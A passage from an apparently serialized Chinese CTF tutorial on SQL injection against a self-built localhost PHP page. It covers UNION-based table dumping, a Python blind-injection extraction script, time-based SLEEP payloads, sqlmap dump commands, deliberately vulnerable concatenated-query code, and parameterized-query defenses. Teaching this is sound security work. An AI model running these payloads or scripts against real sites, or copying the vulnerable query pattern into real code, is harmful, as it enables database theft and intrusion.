是怎么被拼出来的",[15,4997,4998],{},"普通程序员的查询代码：",[102,5000,5004],{"className":5001,"code":5002,"language":5003,"meta":107,"style":107},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php",[19,5005,5006,5011],{"__ignoreMap":107},[111,5007,5008],{"class":113,"line":114},[111,5009,5010],{},"$id = $_GET['id'];\n",[111,5012,5013],{"class":113,"line":140},[111,5014,5015],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[15,5017,5018,5021,5022,5025],{},[19,5019,5020],{},"$id"," 被直接拼进 SQL 字符串。当 ",[19,5023,5024],{},"id=1 OR 1=1"," 时：",[102,5027,5031],{"className":5028,"code":5029,"language":5030,"meta":107,"style":107},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[19,5032,5033],{"__ignoreMap":107},[111,5034,5035],{"class":113,"line":114},[111,5036,5029],{},[15,5038,5039,5040,5043],{},"恒真，返回全表。",[24,5041,5042],{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[10,5045,5047],{"id":5046},"二环境搭建二选一","二、环境搭建（二选一）",[154,5049,5051],{"id":5050},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[102,5053,5055],{"className":104,"code":5054,"language":106,"meta":107,"style":107},"git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n",[19,5056,5057,5068,5075],{"__ignoreMap":107},[111,5058,5059,5062,5065],{"class":113,"line":114},[111,5060,5061],{"class":117},"git",[111,5063,5064],{"class":121}," clone",[111,5066,5067],{"class":121}," https://github.com/Audi-1/sqli-labs.git\n",[111,5069,5070,5072],{"class":113,"line":140},[111,5071,1775],{"class":1774},[111,5073,5074],{"class":121}," sqli-labs\n",[111,5076,5077,5079,5082],{"class":113,"line":448},[111,5078,5003],{"class":117},[111,5080,5081],{"class":248}," -S",[111,5083,5084],{"class":121}," 127.0.0.1:8000\n",[15,5086,5087,5088,27],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[19,5089,5090],{},"Less-1",[154,5092,5094],{"id":5093},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[15,5096,5097],{},"数据库：",[102,5099,5101],{"className":5028,"code":5100,"language":5030,"meta":107,"style":107},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[19,5102,5103,5108,5113,5118,5123,5128],{"__ignoreMap":107},[111,5104,5105],{"class":113,"line":114},[111,5106,5107],{},"CREATE DATABASE ctf;\n",[111,5109,5110],{"class":113,"line":140},[111,5111,5112],{},"USE ctf;\n",[111,5114,5115],{"class":113,"line":448},[111,5116,5117],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[111,5119,5120],{"class":113,"line":455},[111,5121,5122],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[111,5124,5125],{"class":113,"line":461},[111,5126,5127],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[111,5129,5130],{"class":113,"line":467},[111,5131,5132],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[15,5134,5135,293],{},[19,5136,5137],{},"vuln.php",[102,5139,5141],{"className":5001,"code":5140,"language":5003,"meta":107,"style":107},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[19,5142,5143,5148,5153,5157,5162,5167,5172,5177,5181],{"__ignoreMap":107},[111,5144,5145],{"class":113,"line":114},[111,5146,5147],{},"\u003C?php\n",[111,5149,5150],{"class":113,"line":140},[111,5151,5152],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[111,5154,5155],{"class":113,"line":448},[111,5156,5010],{},[111,5158,5159],{"class":113,"line":455},[111,5160,5161],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[111,5163,5164],{"class":113,"line":461},[111,5165,5166],{},"$result = $conn->query($sql);\n",[111,5168,5169],{"class":113,"line":467},[111,5170,5171],{},"while ($row = $result->fetch_assoc()) {\n",[111,5173,5174],{"class":113,"line":473},[111,5175,5176],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[111,5178,5179],{"class":113,"line":479},[111,5180,2457],{},[111,5182,5183],{"class":113,"line":484},[111,5184,5185],{},"?>\n",[15,5187,5188,5189,27],{},"启动：",[19,5190,5191],{},"php -S 127.0.0.1:8000",[5193,5194,5195],"blockquote",{},[15,5196,5197],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[10,5199,5201],{"id":5200},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[15,5203,5204,5206,5207,5210],{},[24,5205,162],{},"：确认参数 ",[19,5208,5209],{},"id"," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[15,5212,5213,5215],{},[24,5214,292],{},"：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[154,5217,5219],{"id":5218},"请求-1正常请求","请求 1：正常请求",[15,5221,5222,5224],{},[24,5223,162],{},"：记录正常响应的样子，作为后续对比的基线。",[102,5226,5228],{"className":104,"code":5227,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[19,5229,5230],{"__ignoreMap":107},[111,5231,5232,5235,5238,5241],{"class":113,"line":114},[111,5233,5234],{"class":117},"curl",[111,5236,5237],{"class":1431}," \"",[111,5239,5240],{"class":121},"http://127.0.0.1:8000/vuln.php?id=1",[111,5242,5243],{"class":1431},"\"\n",[15,5245,351],{},[102,5247,5250],{"className":5248,"code":5249,"language":191,"meta":107},[189],"1 hello world\n",[19,5251,5249],{"__ignoreMap":107},[154,5253,5255],{"id":5254},"请求-2单引号","请求 2：单引号",[15,5257,5258,5260],{},[24,5259,162],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[102,5262,5264],{"className":104,"code":5263,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[19,5265,5266],{"__ignoreMap":107},[111,5267,5268,5270,5272,5275],{"class":113,"line":114},[111,5269,5234],{"class":117},[111,5271,5237],{"class":1431},[111,5273,5274],{"class":121},"http://127.0.0.1:8000/vuln.php?id=1'",[111,5276,5243],{"class":1431},[15,5278,5279],{},"预期输出（报错）：",[102,5281,5284],{"className":5282,"code":5283,"language":191,"meta":107},[189],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[19,5285,5283],{"__ignoreMap":107},[15,5287,5288,5289,5292],{},"原因：语句变成 ",[19,5290,5291],{},"WHERE id = 1'","，单引号未闭合。",[154,5294,5296],{"id":5295},"请求-3and-11","请求 3：AND 1=1",[102,5298,5300],{"className":104,"code":5299,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[19,5301,5302],{"__ignoreMap":107},[111,5303,5304,5306,5308,5311],{"class":113,"line":114},[111,5305,5234],{"class":117},[111,5307,5237],{"class":1431},[111,5309,5310],{"class":121},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[111,5312,5243],{"class":1431},[15,5314,351,5315,5318],{},[19,5316,5317],{},"1 hello world","（条件真）。",[154,5320,5322],{"id":5321},"请求-4and-12","请求 4：AND 1=2",[102,5324,5326],{"className":104,"code":5325,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[19,5327,5328],{"__ignoreMap":107},[111,5329,5330,5332,5334,5337],{"class":113,"line":114},[111,5331,5234],{"class":117},[111,5333,5237],{"class":1431},[111,5335,5336],{"class":121},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[111,5338,5243],{"class":1431},[15,5340,5341],{},"预期输出：空（条件假）。",[15,5343,5344,5347,5348,5351,5352,5355],{},[24,5345,5346],{},"判定","：单引号报错 + ",[19,5349,5350],{},"1=1"," 正常 + ",[19,5353,5354],{},"1=2"," 为空 → 注入点确认。",[10,5357,5359],{"id":5358},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[15,5361,5362,5364],{},[24,5363,162],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[15,5366,5367,5369],{},[24,5368,292],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[15,5371,5372,5373,5376],{},"前提：第一个查询返回空（用 ",[19,5374,5375],{},"id=-1","），UNION 两个查询列数相同。",[154,5378,5380],{"id":5379},"第-1-步确定列数","第 1 步：确定列数",[15,5382,5383,293,5385,5388],{},[24,5384,292],{},[19,5386,5387],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[102,5390,5392],{"className":104,"code":5391,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[19,5393,5394,5405,5416,5427],{"__ignoreMap":107},[111,5395,5396,5398,5400,5403],{"class":113,"line":114},[111,5397,5234],{"class":117},[111,5399,5237],{"class":1431},[111,5401,5402],{"class":121},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[111,5404,5243],{"class":1431},[111,5406,5407,5409,5411,5414],{"class":113,"line":140},[111,5408,5234],{"class":117},[111,5410,5237],{"class":1431},[111,5412,5413],{"class":121},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[111,5415,5243],{"class":1431},[111,5417,5418,5420,5422,5425],{"class":113,"line":448},[111,5419,5234],{"class":117},[111,5421,5237],{"class":1431},[111,5423,5424],{"class":121},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[111,5426,5243],{"class":1431},[111,5428,5429,5431,5433,5436],{"class":113,"line":455},[111,5430,5234],{"class":117},[111,5432,5237],{"class":1431},[111,5434,5435],{"class":121},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[111,5437,5243],{"class":1431},[15,5439,5440],{},"前三条正常，第四条报错 → 共 3 列。",[154,5442,5444],{"id":5443},"第-2-步确认回显位","第 2 步：确认回显位",[15,5446,5447,293,5449,5452],{},[24,5448,292],{},[19,5450,5451],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[102,5454,5456],{"className":104,"code":5455,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[19,5457,5458],{"__ignoreMap":107},[111,5459,5460,5462,5464,5467],{"class":113,"line":114},[111,5461,5234],{"class":117},[111,5463,5237],{"class":1431},[111,5465,5466],{"class":121},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[111,5468,5243],{"class":1431},[15,5470,351,5471,5474],{},[19,5472,5473],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[154,5476,5478],{"id":5477},"第-3-步查数据库名","第 3 步：查数据库名",[102,5480,5482],{"className":104,"code":5481,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[19,5483,5484],{"__ignoreMap":107},[111,5485,5486,5488,5490,5493],{"class":113,"line":114},[111,5487,5234],{"class":117},[111,5489,5237],{"class":1431},[111,5491,5492],{"class":121},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[111,5494,5243],{"class":1431},[15,5496,351,5497,27],{},[19,5498,1055],{},[154,5500,5502],{"id":5501},"第-4-步查表名","第 4 步：查表名",[102,5504,5506],{"className":104,"code":5505,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[19,5507,5508],{"__ignoreMap":107},[111,5509,5510,5512,5514,5517],{"class":113,"line":114},[111,5511,5234],{"class":117},[111,5513,5237],{"class":1431},[111,5515,5516],{"class":121},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[111,5518,5243],{"class":1431},[15,5520,351,5521,27],{},[19,5522,5523],{},"articles,flag,users",[154,5525,5527],{"id":5526},"第-5-步查列名","第 5 步：查列名",[102,5529,5531],{"className":104,"code":5530,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[19,5532,5533],{"__ignoreMap":107},[111,5534,5535,5537,5539,5542],{"class":113,"line":114},[111,5536,5234],{"class":117},[111,5538,5237],{"class":1431},[111,5540,5541],{"class":121},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[111,5543,5243],{"class":1431},[15,5545,351,5546,27],{},[19,5547,3280],{},[15,5549,5550,5553,5554,5556,5557,5559,5560,5562],{},[24,5551,5552],{},"说明","：如果第 4 步看到多个表，比如 ",[19,5555,5523],{},"，优先怀疑 ",[19,5558,3280],{}," 表；列名可能不是 ",[19,5561,3280],{},"，需要本步用 information_schema.columns 确认。",[154,5564,5566],{"id":5565},"第-6-步拿数据","第 6 步：拿数据",[102,5568,5570],{"className":104,"code":5569,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[19,5571,5572],{"__ignoreMap":107},[111,5573,5574,5576,5578,5581],{"class":113,"line":114},[111,5575,5234],{"class":117},[111,5577,5237],{"class":1431},[111,5579,5580],{"class":121},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[111,5582,5243],{"class":1431},[15,5584,351,5585,27],{},[19,5586,5587],{},"flag{sql_injection}",[15,5589,5590,5593],{},[24,5591,5592],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[10,5595,5597],{"id":5596},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[15,5599,5600,5602],{},[24,5601,162],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[15,5604,5605],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[154,5607,5609],{"id":5608},"_51-布尔盲注","5.1 布尔盲注",[102,5611,5613],{"className":104,"code":5612,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[19,5614,5615],{"__ignoreMap":107},[111,5616,5617,5619,5621,5624],{"class":113,"line":114},[111,5618,5234],{"class":117},[111,5620,5237],{"class":1431},[111,5622,5623],{"class":121},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[111,5625,5243],{"class":1431},[15,5627,5628,5629,27],{},"正常 → 库名第一个字符是 ",[19,5630,1821],{},[102,5632,5634],{"className":104,"code":5633,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[19,5635,5636],{"__ignoreMap":107},[111,5637,5638,5640,5642,5645],{"class":113,"line":114},[111,5639,5234],{"class":117},[111,5641,5237],{"class":1431},[111,5643,5644],{"class":121},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[111,5646,5243],{"class":1431},[15,5648,5649,5650,27],{},"为空 → 不是 ",[19,5651,3473],{},[15,5653,5654],{},"自动化脚本：",[15,5656,5657,5659,5660,5663],{},[24,5658,292],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[19,5661,5662],{},"hello","）就说明猜对，把字符记下再问下一位。",[102,5665,5667],{"className":431,"code":5666,"language":433,"meta":107,"style":107},"import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", result)\n",[19,5668,5669,5674,5679,5683,5688,5693,5697,5702,5707,5712,5717,5722,5727,5732,5737,5742,5747,5752,5757,5762,5767,5772,5777,5782,5787,5792,5796],{"__ignoreMap":107},[111,5670,5671],{"class":113,"line":114},[111,5672,5673],{},"import requests, string\n",[111,5675,5676],{"class":113,"line":140},[111,5677,5678],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[111,5680,5681],{"class":113,"line":448},[111,5682,452],{"emptyLinePlaceholder":451},[111,5684,5685],{"class":113,"line":455},[111,5686,5687],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[111,5689,5690],{"class":113,"line":461},[111,5691,5692],{},"result = \"\"          # 保存已确认的 flag 片段\n",[111,5694,5695],{"class":113,"line":467},[111,5696,452],{"emptyLinePlaceholder":451},[111,5698,5699],{"class":113,"line":473},[111,5700,5701],{},"for pos in range(1, 50):\n",[111,5703,5704],{"class":113,"line":479},[111,5705,5706],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[111,5708,5709],{"class":113,"line":484},[111,5710,5711],{},"    found = False\n",[111,5713,5714],{"class":113,"line":490},[111,5715,5716],{},"    for ch in string.printable:\n",[111,5718,5719],{"class":113,"line":496},[111,5720,5721],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[111,5723,5724],{"class":113,"line":502},[111,5725,5726],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[111,5728,5729],{"class":113,"line":508},[111,5730,5731],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[111,5733,5734],{"class":113,"line":514},[111,5735,5736],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[111,5738,5739],{"class":113,"line":520},[111,5740,5741],{},"        r = requests.get(url, params={\"id\": payload})\n",[111,5743,5744],{"class":113,"line":526},[111,5745,5746],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[111,5748,5749],{"class":113,"line":532},[111,5750,5751],{},"        # r.text：响应正文。\n",[111,5753,5754],{"class":113,"line":537},[111,5755,5756],{},"        if \"hello\" in r.text:\n",[111,5758,5759],{"class":113,"line":543},[111,5760,5761],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[111,5763,5764],{"class":113,"line":549},[111,5765,5766],{},"            result += ch\n",[111,5768,5769],{"class":113,"line":555},[111,5770,5771],{},"            print(result)\n",[111,5773,5774],{"class":113,"line":561},[111,5775,5776],{},"            found = True\n",[111,5778,5779],{"class":113,"line":567},[111,5780,5781],{},"            break\n",[111,5783,5784],{"class":113,"line":573},[111,5785,5786],{},"    if not found or result.endswith('}'):\n",[111,5788,5789],{"class":113,"line":579},[111,5790,5791],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[111,5793,5794],{"class":113,"line":584},[111,5795,797],{},[111,5797,5798],{"class":113,"line":590},[111,5799,5800],{},"print(\"flag:\", result)\n",[15,5802,5803],{},"运行过程输出（节选）：",[102,5805,5808],{"className":5806,"code":5807,"language":191,"meta":107},[189],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[19,5809,5807],{"__ignoreMap":107},[154,5811,5813],{"id":5812},"_52-时间盲注","5.2 时间盲注",[15,5815,5816,5817,5820],{},"页面连\"正常/异常\"都无法区分时，用 ",[19,5818,5819],{},"SLEEP"," 制造时间差：",[102,5822,5824],{"className":104,"code":5823,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[19,5825,5826],{"__ignoreMap":107},[111,5827,5828,5830,5832,5835],{"class":113,"line":114},[111,5829,5234],{"class":117},[111,5831,5237],{"class":1431},[111,5833,5834],{"class":121},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[111,5836,5243],{"class":1431},[15,5838,5839],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[10,5841,5843],{"id":5842},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[15,5845,5846,5848],{},[24,5847,162],{},"：手工确认后，用工具批量完成拖库，效率更高。",[154,5850,5852],{"id":5851},"命令-1检测","命令 1：检测",[15,5854,5855,5857],{},[24,5856,292],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[102,5859,5861],{"className":104,"code":5860,"language":106,"meta":107,"style":107},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[19,5862,5863],{"__ignoreMap":107},[111,5864,5865,5868,5871,5873,5875,5878],{"class":113,"line":114},[111,5866,5867],{"class":117},"sqlmap",[111,5869,5870],{"class":248}," -u",[111,5872,5237],{"class":1431},[111,5874,5240],{"class":121},[111,5876,5877],{"class":1431},"\"",[111,5879,5880],{"class":248}," --batch\n",[15,5882,1441],{},[102,5884,5887],{"className":5885,"code":5886,"language":191,"meta":107},[189],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[19,5888,5886],{"__ignoreMap":107},[154,5890,5892],{"id":5891},"命令-2列库","命令 2：列库",[102,5894,5896],{"className":104,"code":5895,"language":106,"meta":107,"style":107},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[19,5897,5898],{"__ignoreMap":107},[111,5899,5900,5902,5904,5906,5908,5910],{"class":113,"line":114},[111,5901,5867],{"class":117},[111,5903,5870],{"class":248},[111,5905,5237],{"class":1431},[111,5907,5240],{"class":121},[111,5909,5877],{"class":1431},[111,5911,5912],{"class":248}," --dbs\n",[15,5914,5915,5916,27],{},"预期输出：数据库列表，含 ",[19,5917,1055],{},[154,5919,5921],{"id":5920},"命令-3导出数据","命令 3：导出数据",[102,5923,5925],{"className":104,"code":5924,"language":106,"meta":107,"style":107},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[19,5926,5927],{"__ignoreMap":107},[111,5928,5929,5931,5933,5935,5937,5939,5942,5945,5948,5951],{"class":113,"line":114},[111,5930,5867],{"class":117},[111,5932,5870],{"class":248},[111,5934,5237],{"class":1431},[111,5936,5240],{"class":121},[111,5938,5877],{"class":1431},[111,5940,5941],{"class":248}," -D",[111,5943,5944],{"class":121}," ctf",[111,5946,5947],{"class":248}," -T",[111,5949,5950],{"class":121}," flag",[111,5952,5953],{"class":248}," --dump\n",[15,5955,351,5956,5958,5959,27],{},[19,5957,3280],{}," 表内容 ",[19,5960,5587],{},[10,5962,5964],{"id":5963},"七核心步骤-5防御","七、核心步骤 5：防御",[102,5966,5968],{"className":5001,"code":5967,"language":5003,"meta":107,"style":107},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[19,5969,5970,5975,5980,5985,5989,5994,5999,6004],{"__ignoreMap":107},[111,5971,5972],{"class":113,"line":114},[111,5973,5974],{},"// PDO 参数化\n",[111,5976,5977],{"class":113,"line":140},[111,5978,5979],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[111,5981,5982],{"class":113,"line":448},[111,5983,5984],{},"$stmt->execute([$_GET['id']]);\n",[111,5986,5987],{"class":113,"line":455},[111,5988,452],{"emptyLinePlaceholder":451},[111,5990,5991],{"class":113,"line":461},[111,5992,5993],{},"// mysqli 参数化\n",[111,5995,5996],{"class":113,"line":467},[111,5997,5998],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[111,6000,6001],{"class":113,"line":473},[111,6002,6003],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[111,6005,6006],{"class":113,"line":479},[111,6007,6008],{},"$stmt->execute();\n",[102,6010,6012],{"className":431,"code":6011,"language":433,"meta":107,"style":107},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[19,6013,6014],{"__ignoreMap":107},[111,6015,6016],{"class":113,"line":114},[111,6017,6011],{},[15,6019,6020,6021,6024],{},"参数化后，输入 ",[19,6022,6023],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[10,6026,6028],{"id":6027},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[15,6030,6031,6033],{},[24,6032,162],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[15,6035,6036,6037,293],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[19,6038,6039],{},"sim.py",[102,6041,6043],{"className":431,"code":6042,"language":433,"meta":107,"style":107},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[19,6044,6045,6050,6055,6059,6064,6069,6074,6079,6083,6088,6092,6097,6102,6106,6111,6116,6121,6126,6131,6136,6141,6146,6151,6156,6161,6166,6170,6175,6180,6185,6190,6195,6200,6205],{"__ignoreMap":107},[111,6046,6047],{"class":113,"line":114},[111,6048,6049],{},"import sqlite3\n",[111,6051,6052],{"class":113,"line":140},[111,6053,6054],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[111,6056,6057],{"class":113,"line":448},[111,6058,452],{"emptyLinePlaceholder":451},[111,6060,6061],{"class":113,"line":455},[111,6062,6063],{},"conn = sqlite3.connect(':memory:')\n",[111,6065,6066],{"class":113,"line":461},[111,6067,6068],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[111,6070,6071],{"class":113,"line":467},[111,6072,6073],{},"conn.executescript('''\n",[111,6075,6076],{"class":113,"line":473},[111,6077,6078],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[111,6080,6081],{"class":113,"line":479},[111,6082,5122],{},[111,6084,6085],{"class":113,"line":484},[111,6086,6087],{},"CREATE TABLE flag (flag 